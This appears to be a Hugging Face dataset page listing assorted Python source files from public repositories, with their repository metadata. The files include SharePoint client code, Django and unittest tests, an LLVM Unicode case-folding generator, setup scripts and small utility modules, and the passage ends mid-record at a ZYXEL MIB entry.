xszheng2020/the_stack_dedup_python_hits_2 · Datasets at Hugging Face

1c8628f13d65ff3439c3fbd013fa30e504e0ca89

918

py

Python

office365/sharepoint/view_collection.py

andebor/Office365-REST-Python-Client

ffd0ab4cf742b2e5ae7d8c44e937495aece41e07

[ "MIT" ]

null

office365/sharepoint/view_collection.py

andebor/Office365-REST-Python-Client

ffd0ab4cf742b2e5ae7d8c44e937495aece41e07

[ "MIT" ]

null

office365/sharepoint/view_collection.py

andebor/Office365-REST-Python-Client

ffd0ab4cf742b2e5ae7d8c44e937495aece41e07

[ "MIT" ]

null

from office365.runtime.client_object_collection import ClientObjectCollection from office365.runtime.resource_path_service_operation import ResourcePathServiceOperation from office365.sharepoint.view import View class ViewCollection(ClientObjectCollection): """Represents a collection of View resources.""" def __init__(self, context, resource_path=None): super(ViewCollection, self).__init__(context, View, resource_path) def get_by_title(self, view_title): """Gets the list view with the specified title.""" return View(self.context, ResourcePathServiceOperation(self.context, self.resource_path, "GetByTitle", [view_title])) def get_by_id(self, view_id): """Gets the list view with the specified ID.""" return View(self.context, ResourcePathServiceOperation(self.context, self.resource_path, "GetById", [view_id]))

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1c8d061b0e5a02933d936632c10e61f84e6418bb

2,558

py

Python

src/tests/control/test_devices.py

bsod85/pretix

d86b3a217352f7ad24008685393f9af18fcf6e6c

[ "ECL-2.0", "Apache-2.0" ]

null

src/tests/control/test_devices.py

bsod85/pretix

d86b3a217352f7ad24008685393f9af18fcf6e6c

[ "ECL-2.0", "Apache-2.0" ]

null

src/tests/control/test_devices.py

bsod85/pretix

d86b3a217352f7ad24008685393f9af18fcf6e6c

[ "ECL-2.0", "Apache-2.0" ]

null

import pytest from django.utils.timezone import now from pretix.base.models import Device, Event, Organizer, Team, User from pretix.base.models.devices import generate_api_token @pytest.fixture def organizer(): return Organizer.objects.create(name='Dummy', slug='dummy') @pytest.fixture def event(organizer): event = Event.objects.create( organizer=organizer, name='Dummy', slug='dummy', date_from=now() ) return event @pytest.fixture def device(organizer): return organizer.devices.create(name='Cashdesk') @pytest.fixture def admin_user(admin_team): u = User.objects.create_user('dummy@dummy.dummy', 'dummy') admin_team.members.add(u) return u @pytest.fixture def admin_team(organizer): return Team.objects.create(organizer=organizer, can_change_organizer_settings=True, name='Admin team') @pytest.mark.django_db def test_list_of_devices(event, admin_user, client, device): client.login(email='dummy@dummy.dummy', password='dummy') resp = client.get('/control/organizer/dummy/devices') assert 'Cashdesk' in resp.rendered_content @pytest.mark.django_db def test_create_device(event, admin_user, admin_team, client): client.login(email='dummy@dummy.dummy', password='dummy') resp = client.post('/control/organizer/dummy/device/add', { 'name': 'Foo', 'limit_events': str(event.pk), }, follow=True) d = Device.objects.last() assert d.name == 'Foo' assert not d.all_events assert list(d.limit_events.all()) == [event] assert d.initialization_token in resp.content.decode() @pytest.mark.django_db def test_update_device(event, admin_user, admin_team, device, client): client.login(email='dummy@dummy.dummy', password='dummy') client.post('/control/organizer/dummy/device/{}/edit'.format(device.pk), { 'name': 'Cashdesk 2', 'limit_events': str(event.pk), }, follow=True) device.refresh_from_db() assert device.name == 'Cashdesk 2' assert not device.all_events assert list(device.limit_events.all()) == [event] @pytest.mark.django_db def test_revoke_device(event, admin_user, admin_team, device, client): client.login(email='dummy@dummy.dummy', password='dummy') device.api_token = generate_api_token() device.initialized = now() device.save() client.get('/control/organizer/dummy/device/{}/revoke'.format(device.pk)) client.post('/control/organizer/dummy/device/{}/revoke'.format(device.pk), {}, follow=True) device.refresh_from_db() assert device.revoked

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1c9164529ab22e884811a536f6b8ba91eb8bbe19

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py

Python

tests/framework/test_ingress.py

praus/shapy

7fa5512d9015b4921870f212495280fbb0675164

[ "MIT" ]

54

2015-01-14T10:14:11.000Z

2022-02-25T17:12:10.000Z

tests/framework/test_ingress.py

praus/shapy

7fa5512d9015b4921870f212495280fbb0675164

[ "MIT" ]

1

2015-12-29T07:37:17.000Z

2015-12-30T06:17:41.000Z

tests/framework/test_ingress.py

praus/shapy

7fa5512d9015b4921870f212495280fbb0675164

[ "MIT" ]

14

2015-02-10T15:29:48.000Z

2021-09-22T03:01:13.000Z

import unittest from shapy.framework.tcelements import * from shapy.framework.executor import run from tests import TCTestCase class TestIngress(TCTestCase): def setUp(self): self.interface = Interface('lo') def test_ingress_filter(self): q = IngressQdisc() q.add(RedirectFilter('dst 127.0.0.3', 'eth0')) self.interface.add_ingress(q) self.interface.set_shaping()

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1c9a500d9b0aad2641a02cde2360c7ed9e056cc6

3,494

py

Python

test/test_util_registry.py

SimulatedANeal/carpedm

22bd5d28cfff50d7462e2a8e1b8dc1675e2a4c89

[ "MIT" ]

2

2020-09-30T04:59:06.000Z

2021-03-30T20:42:44.000Z

test/test_util_registry.py

SimulatedANeal/carpedm

22bd5d28cfff50d7462e2a8e1b8dc1675e2a4c89

[ "MIT" ]

null

test/test_util_registry.py

SimulatedANeal/carpedm

22bd5d28cfff50d7462e2a8e1b8dc1675e2a4c89

[ "MIT" ]

1

2018-05-25T07:15:16.000Z

# # Copyright (C) 2018 Neal Digre. # # This software may be modified and distributed under the terms # of the MIT license. See the LICENSE file for details. # # # Portions of this module are copied or lightly modified from the # Tensor2Tensor registry_test module, so here is their license: # # Copyright 2018 The Tensor2Tensor Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for utils.registry References: Slight modification of `Tensor2Tensor registry_test`_. .. _Tensor2Tensor registry_test: https://github.com/tensorflow/ tensor2tensor/blob/master/tensor2tensor/utils/registry_test.py """ import unittest from carpedm.util import registry from carpedm.models.generic import Model from carpedm.models.baseline import SingleCharBaseline class ModelRegistryTest(unittest.TestCase): def setUp(self): registry._reset() def test_model_registration(self): @registry.register_model class MyModel1(Model): pass model = registry.model("my_model1") self.assertTrue(model is MyModel1) def test_named_registration(self): @registry.register_model("model2") class MyModel1(Model): pass model = registry.model("model2") self.assertTrue(model is MyModel1) def test_request_unprovided_model(self): with self.assertRaisesRegex(LookupError, "never registered"): _ = registry.model("not_provided") def test_duplicate_registration(self): @registry.register_model def m1(): pass with self.assertRaisesRegex(LookupError, "already registered"): @registry.register_model("m1") def m2(): pass def test_list_models(self): @registry.register_model def m1(): pass @registry.register_model def m2(): pass self.assertSetEqual({"m1", "m2"}, set(registry.list_models())) def test_snake_case(self): convert = registry._convert_camel_to_snake self.assertEqual("typical_camel_case", convert("TypicalCamelCase")) self.assertEqual("numbers_fuse2gether", convert("NumbersFuse2gether")) self.assertEqual("numbers_fuse2_gether", convert("NumbersFuse2Gether")) self.assertEqual("lstm_seq2_seq", convert("LSTMSeq2Seq")) self.assertEqual("starts_lower", convert("startsLower")) self.assertEqual("starts_lower_caps", convert("startsLowerCAPS")) self.assertEqual("caps_fuse_together", convert("CapsFUSETogether")) self.assertEqual("startscap", convert("Startscap")) self.assertEqual("s_tartscap", convert("STartscap")) class ModelProvidedTest(unittest.TestCase): def setUp(self): from carpedm import models def test_access_provided_model(self): model = registry.model("single_char_baseline") self.assertTrue(model is SingleCharBaseline) if __name__ == '__main__': unittest.main()

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1c9a93508b958132a0c4b43ee8f248a5003366fb

383

py

Python

pay-api/migrations/versions/8f7565cf50c1_.py

stevenc987/sbc-pay

04f02f362f88a30c082b0643583b8d0ebff6063f

[ "Apache-2.0" ]

null

pay-api/migrations/versions/8f7565cf50c1_.py

stevenc987/sbc-pay

04f02f362f88a30c082b0643583b8d0ebff6063f

[ "Apache-2.0" ]

null

pay-api/migrations/versions/8f7565cf50c1_.py

stevenc987/sbc-pay

04f02f362f88a30c082b0643583b8d0ebff6063f

[ "Apache-2.0" ]

null

"""empty message Revision ID: 8f7565cf50c1 Revises: 872760122cc9, 8652bf9c03ff Create Date: 2020-10-02 11:11:49.823678 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '8f7565cf50c1' down_revision = ('872760122cc9', '8652bf9c03ff') branch_labels = None depends_on = None def upgrade(): pass def downgrade(): pass

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98bba1bb3ab4288928a1669d17e724ae9a0d33c2

3,760

py

Python

zipline/__init__.py

chalant/pluto

e7bfd35a2c1fc0e0753bd2f840b0a4385b5124fc

[ "Apache-2.0" ]

null

zipline/__init__.py

chalant/pluto

e7bfd35a2c1fc0e0753bd2f840b0a4385b5124fc

[ "Apache-2.0" ]

null

zipline/__init__.py

chalant/pluto

e7bfd35a2c1fc0e0753bd2f840b0a4385b5124fc

[ "Apache-2.0" ]

null

# # # # Copyright 2015 Quantopian, Inc. # # # # Licensed under the Apache License, Version 2.0 (the "License"); # # you may not use this file except in compliance with the License. # # You may obtain a copy of the License at # # # # http://www.apache.org/licenses/LICENSE-2.0 # # # # Unless required by applicable law or agreed to in writing, software # # distributed under the License is distributed on an "AS IS" BASIS, # # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # # limitations under the License. # from distutils.version import StrictVersion # import os # import numpy as np # # # This is *not* a place to dump arbitrary classes/modules for convenience, # # it is a place to expose the public interfaces. # from trading_calendars import get_calendar # # from . import data # from . import finance # from . import gens # from . import utils # from .utils.numpy_utils import numpy_version # from .utils.pandas_utils import new_pandas # from .utils.run_algo import run_algorithm # from ._version import get_versions # # # These need to happen after the other imports. # from . algorithm import TradingAlgorithm # from . import api # from zipline import extensions as ext # from zipline.finance.blotter import Blotter # # # PERF: Fire a warning if calendars were instantiated during zipline import. # # Having calendars doesn't break anything per-se, but it makes zipline imports # # noticeably slower, which becomes particularly noticeable in the Zipline CLI. # from trading_calendars.calendar_utils import global_calendar_dispatcher # if global_calendar_dispatcher._calendars: # import warnings # warnings.warn( # "Found TradingCalendar instances after zipline import.\n" # "Zipline startup will be much slower until this is fixed!", # ) # del warnings # del global_calendar_dispatcher # # # __version__ = get_versions()['version'] # del get_versions # # extension_args = ext.Namespace() # # # def load_ipython_extension(ipython): # from .__main__ import zipline_magic # ipython.register_magic_function(zipline_magic, 'line_cell', 'zipline') # # # if os.name == 'nt': # # we need to be able to write to our temp directoy on windows so we # # create a subdir in %TMP% that has write access and use that as %TMP% # def _(): # import atexit # import tempfile # # tempfile.tempdir = tempdir = tempfile.mkdtemp() # # @atexit.register # def cleanup_tempdir(): # import shutil # shutil.rmtree(tempdir) # _() # del _ # # __all__ = [ # 'Blotter', # 'TradingAlgorithm', # 'api', # 'data', # 'finance', # 'get_calendar', # 'gens', # 'run_algorithm', # 'utils', # 'extension_args' # ] # # # def setup(self, # np=np, # numpy_version=numpy_version, # StrictVersion=StrictVersion, # new_pandas=new_pandas): # """Lives in zipline.__init__ for doctests.""" # # if numpy_version >= StrictVersion('1.14'): # self.old_opts = np.get_printoptions() # np.set_printoptions(legacy='1.13') # else: # self.old_opts = None # # if new_pandas: # self.old_err = np.geterr() # # old pandas has numpy compat that sets this # np.seterr(all='ignore') # else: # self.old_err = None # # # def teardown(self, np=np): # """Lives in zipline.__init__ for doctests.""" # # if self.old_err is not None: # np.seterr(**self.old_err) # # if self.old_opts is not None: # np.set_printoptions(**self.old_opts) # # # del os # del np # del numpy_version # del StrictVersion # del new_pandas

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98bd00128cc88c306abd43b1058840e641926a91

195

py

Python

src/basics/sql_lite/update_data.py

FoxNeo/MyPythonProjects

3499ef0853f0087f6f143e1633b0a88a3d7b9818

[ "MIT" ]

null

src/basics/sql_lite/update_data.py

FoxNeo/MyPythonProjects

3499ef0853f0087f6f143e1633b0a88a3d7b9818

[ "MIT" ]

null

src/basics/sql_lite/update_data.py

FoxNeo/MyPythonProjects

3499ef0853f0087f6f143e1633b0a88a3d7b9818

[ "MIT" ]

null

import sqlite3 connect = sqlite3.connect("production.db") cursor = connect.cursor() cursor.execute("UPDATE PERSON SET edad = 19 WHERE nombre = 'Conker'") connect.commit() connect.close()

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98c56839c6c8ff2db03c4e3a4f565347728ce5e0

4,541

py

Python

llvm-7.0.0.src/utils/unicode-case-fold.py

sillywalk/grazz

a0adb1a90d41ff9006d8c1476546263f728b3c83

[ "Apache-2.0" ]

171

2018-09-17T13:15:12.000Z

2022-03-18T03:47:04.000Z

llvm-7.0.0.src/utils/unicode-case-fold.py

sillywalk/grazz

a0adb1a90d41ff9006d8c1476546263f728b3c83

[ "Apache-2.0" ]

51

2019-10-23T11:55:08.000Z

2021-12-21T06:32:11.000Z

llvm-7.0.0.src/utils/unicode-case-fold.py

sillywalk/grazz

a0adb1a90d41ff9006d8c1476546263f728b3c83

[ "Apache-2.0" ]

35

2018-09-18T07:46:53.000Z

2022-03-27T07:59:48.000Z

#!/usr/bin/env python """ Unicode case folding database conversion utility Parses the database and generates a C++ function which implements the case folding algorithm. The database entries are of the form: <code>; <status>; <mapping>; # <name> <status> can be one of four characters: C - Common mappings S - mappings for Simple case folding F - mappings for Full case folding T - special case for Turkish I characters Right now this generates a function which implements simple case folding (C+S entries). """ import sys import re import urllib2 # This variable will body of the mappings function body = "" # Reads file line-by-line, extracts Common and Simple case fold mappings and # returns a (from_char, to_char, from_name) tuple. def mappings(f): previous_from = -1 expr = re.compile(r'^(.*); [CS]; (.*); # (.*)') for line in f: m = expr.match(line) if not m: continue from_char = int(m.group(1), 16) to_char = int(m.group(2), 16) from_name = m.group(3) if from_char <= previous_from: raise Exception("Duplicate or unsorted characters in input") yield from_char, to_char, from_name previous_from = from_char # Computes the shift (to_char - from_char) in a mapping. def shift(mapping): return mapping[1] - mapping[0] # Computes the stride (from_char2 - from_char1) of two mappings. def stride2(mapping1, mapping2): return mapping2[0] - mapping1[0] # Computes the stride of a list of mappings. The list should have at least two # mappings. All mappings in the list are assumed to have the same stride. def stride(block): return stride2(block[0], block[1]) # b is a list of mappings. All the mappings are assumed to have the same # shift and the stride between adjecant mappings (if any) is constant. def dump_block(b): global body if len(b) == 1: # Special case for handling blocks of length 1. We don't even need to # emit the "if (C < X) return C" check below as all characters in this # range will be caught by the "C < X" check emitted by the first # non-trivial block. body += " // {2}\n if (C == {0:#06x})\n return {1:#06x};\n".format(*b[0]) return first = b[0][0] last = first + stride(b) * (len(b)-1) modulo = first % stride(b) # All characters before this block map to themselves. body += " if (C < {0:#06x})\n return C;\n".format(first) body += " // {0} characters\n".format(len(b)) # Generic pattern: check upper bound (lower bound is checked by the "if" # above) and modulo of C, return C+shift. pattern = " if (C <= {0:#06x} && C % {1} == {2})\n return C + {3};\n" if stride(b) == 2 and shift(b[0]) == 1 and modulo == 0: # Special case: # We can elide the modulo-check because the expression "C|1" will map # the intervening characters to themselves. pattern = " if (C <= {0:#06x})\n return C | 1;\n" elif stride(b) == 1: # Another special case: X % 1 is always zero, so don't emit the # modulo-check. pattern = " if (C <= {0:#06x})\n return C + {3};\n" body += pattern.format(last, stride(b), modulo, shift(b[0])) current_block = [] f = urllib2.urlopen(sys.argv[1]) for m in mappings(f): if len(current_block) == 0: current_block.append(m) continue if shift(current_block[0]) != shift(m): # Incompatible shift, start a new block. dump_block(current_block) current_block = [m] continue if len(current_block) == 1 or stride(current_block) == stride2(current_block[-1], m): current_block.append(m) continue # Incompatible stride, start a new block. dump_block(current_block) current_block = [m] f.close() dump_block(current_block) print '//===---------- Support/UnicodeCaseFold.cpp -------------------------------===//' print '//' print '// This file was generated by utils/unicode-case-fold.py from the Unicode' print '// case folding database at' print '// ', sys.argv[1] print '//' print '// To regenerate this file, run:' print '// utils/unicode-case-fold.py \\' print '// "{}" \\'.format(sys.argv[1]) print '// > lib/Support/UnicodeCaseFold.cpp' print '//' print '//===----------------------------------------------------------------------===//' print '' print '#include "llvm/Support/Unicode.h"' print '' print "int llvm::sys::unicode::foldCharSimple(int C) {" print body print " return C;" print "}"

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98d0ac63dc3b2801dd2a6ec85e229c55affc71b1

703

py

Python

myproject/core/clusterAnalysis.py

xiaoxiansheng19/data_analysis

9e05aada3f545472500e04225d8537b7f0f90a85

[ "MIT" ]

null

myproject/core/clusterAnalysis.py

xiaoxiansheng19/data_analysis

9e05aada3f545472500e04225d8537b7f0f90a85

[ "MIT" ]

null

myproject/core/clusterAnalysis.py

xiaoxiansheng19/data_analysis

9e05aada3f545472500e04225d8537b7f0f90a85

[ "MIT" ]

null

# from sklearn.cluster import DBSCAN,KMeans # # # def run(data,radius=300): # res={} # # 默认参数 epsilon=0.001, min_samples=200 # epsilon = radius / 100000 # # epsilon = 0.003 # min_samples = 100 # db = DBSCAN(eps=epsilon, min_samples=min_samples) # # eps表示两个向量可以被视作为同一个类的最大的距离 # # min_samples表示一个类中至少要包含的元素数量,如果小于这个数量,那么不构成一个类 # y_pred = db.fit_predict(data) # # print(y_pred) # # df_user_info['label'] = y_pred # n_clusters_ = len(set(y_pred)) - (1 if -1 in y_pred else 0) # 获取分簇的数目 # if n_clusters_<1: # model = KMeans(n_clusters=1, random_state=0) # model.fit(data) # centroid = model.cluster_centers_ # res['point']=

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98d580323bddffeab7acfa9058f08c58277e005a

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py

Python

examples/api/default_value.py

clamdad/atom

45d8a2e696002914dd5b71c150edbe54e9ba1e59

[ "BSD-3-Clause-Clear" ]

222

2015-01-01T10:16:41.000Z

2022-03-15T21:28:08.000Z

examples/api/default_value.py

clamdad/atom

45d8a2e696002914dd5b71c150edbe54e9ba1e59

[ "BSD-3-Clause-Clear" ]

100

2015-01-28T16:26:04.000Z

2022-03-29T07:17:44.000Z

examples/api/default_value.py

clamdad/atom

45d8a2e696002914dd5b71c150edbe54e9ba1e59

[ "BSD-3-Clause-Clear" ]

45

2015-01-05T14:08:13.000Z

2022-01-31T14:17:20.000Z

# -------------------------------------------------------------------------------------- # Copyright (c) 2013-2021, Nucleic Development Team. # # Distributed under the terms of the Modified BSD License. # # The full license is in the file LICENSE, distributed with this software. # -------------------------------------------------------------------------------------- """ Demonstrate all the ways to initialize a value 1. Pass the value directly 2. Assign the default value explicitly 3. Provide the value during initialization of the object 4. Provide factory callable that returns a value 5. Use a _default_* static method """ import sys from atom.api import Atom, Int, Str def get_mother(): return "Maude " + get_last_name() def get_last_name(): """Return a last name based on the system byteorder.""" return sys.byteorder.capitalize() class Person(Atom): """A simple class representing a person object.""" first_name = Str("Bob") age = Int(default=40) address = Str() mother = Str(factory=get_mother) last_name = Str() def _default_last_name(self): return get_last_name() if __name__ == "__main__": bob = Person(address="101 Main") print((bob.first_name, bob.last_name, bob.age)) print(bob.mother)

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98e5e44eba98b059fc30bc12fb7cf43b26e82f78

365

py

Python

app/models/endeavors.py

theLaborInVain/kdm-manager-api

fa8744c9b8a739262d1b94900648254cc69d16e1

[ "MIT" ]

2

2020-03-04T13:43:45.000Z

2020-11-03T20:34:21.000Z

app/models/endeavors.py

theLaborInVain/kdm-manager-api

fa8744c9b8a739262d1b94900648254cc69d16e1

[ "MIT" ]

64

2019-07-19T19:19:50.000Z

2022-03-03T21:19:28.000Z

app/models/endeavors.py

theLaborInVain/kdm-manager-api

fa8744c9b8a739262d1b94900648254cc69d16e1

[ "MIT" ]

null

""" The Endeavors asset collection has a number of irregular assets. Be careful writing any custom code here. """ from app.assets import endeavors from app import models class Assets(models.AssetCollection): def __init__(self, *args, **kwargs): self.root_module = endeavors models.AssetCollection.__init__(self, *args, **kwargs)

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98e97be18c63f8ef9e8f59a9c1da5ea5229f6454

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py

Python

qiskit_experiments/data_processing/__init__.py

yoshida-ryuhei/qiskit-experiments

82561acf86b407dcda0a9ec69fe18de2b0a592a2

[ "Apache-2.0" ]

null

qiskit_experiments/data_processing/__init__.py

yoshida-ryuhei/qiskit-experiments

82561acf86b407dcda0a9ec69fe18de2b0a592a2

[ "Apache-2.0" ]

null

qiskit_experiments/data_processing/__init__.py

yoshida-ryuhei/qiskit-experiments

82561acf86b407dcda0a9ec69fe18de2b0a592a2

[ "Apache-2.0" ]

null

# This code is part of Qiskit. # # (C) Copyright IBM 2021. # # This code is licensed under the Apache License, Version 2.0. You may # obtain a copy of this license in the LICENSE.txt file in the root directory # of this source tree or at http://www.apache.org/licenses/LICENSE-2.0. # # Any modifications or derivative works of this code must retain this # copyright notice, and modified files need to carry a notice indicating # that they have been altered from the originals. """ =========================================================== Data Processing (:mod:`qiskit_experiments.data_processing`) =========================================================== .. currentmodule:: qiskit_experiments.data_processing Data processing is the act of taking the data returned by the backend and converting it into a format that can be analyzed. It is implemented as a chain of data processing steps that transform various input data, e.g. IQ data, into a desired format, e.g. population, which can be analyzed. These data transformations may consist of multiple steps, such as kerneling and discrimination. Each step is implemented by a :class:`~qiskit_experiments.data_processing.data_action.DataAction` also called a `node`. The data processor implements the :meth:`__call__` method. Once initialized, it can thus be used as a standard python function: .. code-block:: python processor = DataProcessor(input_key="memory", [Node1(), Node2(), ...]) out_data = processor(in_data) The data input to the processor is a sequence of dictionaries each representing the result of a single circuit. The output of the processor is a numpy array whose shape and data type depend on the combination of the nodes in the data processor. Uncertainties that arise from quantum measurements or finite sampling can be taken into account in the nodes: a standard error can be generated in a node and can be propagated through the subsequent nodes in the data processor. Correlation between computed values is also considered. Classes ======= .. autosummary:: :toctree: ../stubs/ DataProcessor DataAction TrainableDataAction Data Processing Nodes ===================== .. autosummary:: :toctree: ../stubs/ Probability MarginalizeCounts ToImag ToReal SVD AverageData BasisExpectationValue MinMaxNormalize """ from .data_action import DataAction, TrainableDataAction from .nodes import ( Probability, MarginalizeCounts, ToImag, ToReal, SVD, AverageData, BasisExpectationValue, MinMaxNormalize, ) from .data_processor import DataProcessor

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py

Python

__init__.py

CloudCIX/rolly

8fafd655cb82881ae2cf75a475904cddc39e2f9a

[ "Apache-2.0" ]

6

2019-12-09T16:13:21.000Z

2020-07-16T11:42:33.000Z

__init__.py

CloudCIX/rolly

8fafd655cb82881ae2cf75a475904cddc39e2f9a

[ "Apache-2.0" ]

null

__init__.py

CloudCIX/rolly

8fafd655cb82881ae2cf75a475904cddc39e2f9a

[ "Apache-2.0" ]

1

2021-01-02T09:44:39.000Z

""" Rocky is a CLI based provisioning and management tool for CloudCIX Cloud software. Rocky is designed to operate in an out of band (OOB) network, serarated from other CloudCIX networks. Rocky's purpose is to facilitate monitoring, testing, debug and recovery """ __version__ = '0.3.5'

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98f921edc0f4676c7070bf0e769ce5e1dab739bb

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py

Python

daproli/manipulation.py

ermshaua/daproli

c1f7aeec431d9c60ae06eeac23455c1a03bc82cf

[ "BSD-3-Clause" ]

null

daproli/manipulation.py

ermshaua/daproli

c1f7aeec431d9c60ae06eeac23455c1a03bc82cf

[ "BSD-3-Clause" ]

null

daproli/manipulation.py

ermshaua/daproli

c1f7aeec431d9c60ae06eeac23455c1a03bc82cf

[ "BSD-3-Clause" ]

null

from .utils import _get_return_type def windowed(data, size, step=1, ret_type=None): ''' dp.windowed applies a window function to a collection of data items. Parameters ----------- :param data: an iterable collection of data :param size: the window size :param step: the window step :param ret_type: if provided the used return type, otherwise ret_type(data) :return: the windowed data list Examples ----------- >>> import daproli as dp >>> numbers = range(10) >>> dp.windowed(numbers, 2, step=2) [[0, 1], [2, 3], [4, 5], [6, 7], [8, 9]] ''' if ret_type is None: ret_type = _get_return_type(data) return [ret_type(data[i:i+size]) for i in range(0, len(data)-(size-1), step)] def flatten(data, ret_type=None): ''' dp.flatten applies a flatten function to a collection of data items. Parameters ----------- :param data: an iterable collection of data :param ret_type: if provided the used return type, otherwise ret_type(data) :return: the flattened data collection Examples ----------- >>> import daproli as dp >>> dp.flatten([[0, 1], [2, 3], [4, 5], [6, 7], [8, 9]]) [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] ''' if ret_type is None: ret_type = _get_return_type(data) return ret_type([item for sub in data for item in sub])

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888

py

Python

setup.py

ASKBOT/python-import-utils

9cc317cc2a42dd46d41d53e8209203ccfe528c11

[ "BSD-2-Clause" ]

1

2015-07-19T10:36:42.000Z

setup.py

ASKBOT/python-import-utils

9cc317cc2a42dd46d41d53e8209203ccfe528c11

[ "BSD-2-Clause" ]

null

setup.py

ASKBOT/python-import-utils

9cc317cc2a42dd46d41d53e8209203ccfe528c11

[ "BSD-2-Clause" ]

null

import ez_setup ez_setup.use_setuptools() from setuptools import setup, find_packages import import_utils setup( name = "import-utils", version = import_utils.__version__, description = 'A module that supports simple programmatic module imports', packages = find_packages(), author = 'Evgeny.Fadeev', author_email = 'evgeny.fadeev@gmail.com', license = 'BSD', keywords = 'import, module', url = 'http://askbot.org', include_package_data = True, classifiers = [ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2.5', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', ], long_description = import_utils.__doc__ )

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py

Python

app/api/v1/validators/validators.py

GraceKiarie/iReporter

1011f878f9fb643798192aeed1b68c3e6de4dedc

[ "MIT" ]

1

2018-12-14T09:52:39.000Z

app/api/v1/validators/validators.py

GraceKiarie/iReporter

1011f878f9fb643798192aeed1b68c3e6de4dedc

[ "MIT" ]

6

2018-12-08T11:15:46.000Z

2018-12-15T11:04:36.000Z

app/api/v1/validators/validators.py

GraceKiarie/iReporter

1011f878f9fb643798192aeed1b68c3e6de4dedc

[ "MIT" ]

5

2018-12-04T11:00:54.000Z

2019-06-13T12:53:50.000Z

""" This module does validation for data input in incidents """ import re class Validate(): """ methods for validatin incidents input data """ def valid_email(self, email): self.vemail = re.match( r"(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$)", email) if not self.vemail: return None return True def valid_password(self, password): self.password = re.match(r'[A-Za-z0-9@#$%^&+=]{8,}', password) if self.password is None: return None return True def valid_string(self, value): """ checks if value in data is empty """ self.value = value if not isinstance(self.value, str): return None return True

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py

Python

src/eodc_openeo_bindings/map_comparison_processes.py

eodcgmbh/eodc-openeo-bindings

4e80eba036771a0c81359e1ac66862f1eead407b

[ "MIT" ]

null

src/eodc_openeo_bindings/map_comparison_processes.py

eodcgmbh/eodc-openeo-bindings

4e80eba036771a0c81359e1ac66862f1eead407b

[ "MIT" ]

7

2020-02-18T17:12:31.000Z

2020-09-24T07:19:04.000Z

src/eodc_openeo_bindings/map_comparison_processes.py

eodcgmbh/eodc-openeo-bindings

4e80eba036771a0c81359e1ac66862f1eead407b

[ "MIT" ]

null

""" """ from eodc_openeo_bindings.map_utils import map_default def map_lt(process): """ """ param_dict = {'y': 'float'} return map_default(process, 'lt', 'apply', param_dict) def map_lte(process): """ """ param_dict = {'y': 'float'} return map_default(process, 'lte', 'apply', param_dict) def map_gt(process): """ """ param_dict = {'y': 'float'} return map_default(process, 'gt', 'apply', param_dict) def map_gte(process): """ """ param_dict = {'y': 'float'} return map_default(process, 'gte', 'apply', param_dict) def map_eq(process): """ """ param_dict = {'y': 'numpy.array'} # NOTE: how to map type dynamically to support strings? if 'delta' in process['arguments']: param_dict['delta'] = 'int' if 'case_sensitive' in process['arguments']: param_dict['case_sensitive'] = 'bool' return map_default(process, 'eq', 'apply', param_dict)

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186

py

Python

fizzbuzz_for_02.py

toastyxen/FizzBuzz

094270e3882e743a80c5d32b3903c2483d37755f

[ "MIT" ]

null

fizzbuzz_for_02.py

toastyxen/FizzBuzz

094270e3882e743a80c5d32b3903c2483d37755f

[ "MIT" ]

null

fizzbuzz_for_02.py

toastyxen/FizzBuzz

094270e3882e743a80c5d32b3903c2483d37755f

[ "MIT" ]

null

"""Fizzbuzz for loop variant 3""" for x in range(1, 101): OUTPUT = "" if x % 3 == 0: OUTPUT += "Fizz" if x % 5 == 0: OUTPUT += "Buzz" print(OUTPUT or x)

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235

py

Python

setup.py

joesan/housing-classification-example

93f921cf01c79ab63732ef302ab52d2c9ffedee1

[ "FTL" ]

null

setup.py

joesan/housing-classification-example

93f921cf01c79ab63732ef302ab52d2c9ffedee1

[ "FTL" ]

null

setup.py

joesan/housing-classification-example

93f921cf01c79ab63732ef302ab52d2c9ffedee1

[ "FTL" ]

null

from setuptools import find_packages, setup setup( name='src', packages=find_packages(), version='0.1.0', description='Python codebase for the housing classification ML problem', author='Joesan', license='', )

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c7655b5b6676c78858c562c5f53a9ea086d6bb5c

228

py

Python

bot/venv/lib/python3.7/site-packages/scipy/version.py

manaccac/sc2_bot

3aa8b3711378b71fd0a44662cdd7148846e39530

[ "MIT" ]

76

2020-07-06T14:44:05.000Z

2022-02-14T15:30:21.000Z

bot/venv/lib/python3.7/site-packages/scipy/version.py

manaccac/sc2_bot

3aa8b3711378b71fd0a44662cdd7148846e39530

[ "MIT" ]

37

2020-10-20T08:30:53.000Z

2020-12-22T13:15:45.000Z

bot/venv/lib/python3.7/site-packages/scipy/version.py

manaccac/sc2_bot

3aa8b3711378b71fd0a44662cdd7148846e39530

[ "MIT" ]

15

2020-11-30T22:12:22.000Z

2020-12-09T01:32:48.000Z

# THIS FILE IS GENERATED FROM SCIPY SETUP.PY short_version = '1.5.4' version = '1.5.4' full_version = '1.5.4' git_revision = '19acfed431060aafaa963f7e530c95e70cd4b85c' release = True if not release: version = full_version

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c76b9236e24c24d26fa468bcec0fccac39b536c2

27,999

py

Python

pysnmp/ZYXEL-AclV2-MIB.py

agustinhenze/mibs.snmplabs.com

1fc5c07860542b89212f4c8ab807057d9a9206c7

[ "Apache-2.0" ]

11

2021-02-02T16:27:16.000Z

2021-08-31T06:22:49.000Z

pysnmp/ZYXEL-AclV2-MIB.py

agustinhenze/mibs.snmplabs.com

1fc5c07860542b89212f4c8ab807057d9a9206c7

[ "Apache-2.0" ]

75

2021-02-24T17:30:31.000Z

2021-12-08T00:01:18.000Z

pysnmp/ZYXEL-AclV2-MIB.py

agustinhenze/mibs.snmplabs.com

1fc5c07860542b89212f4c8ab807057d9a9206c7

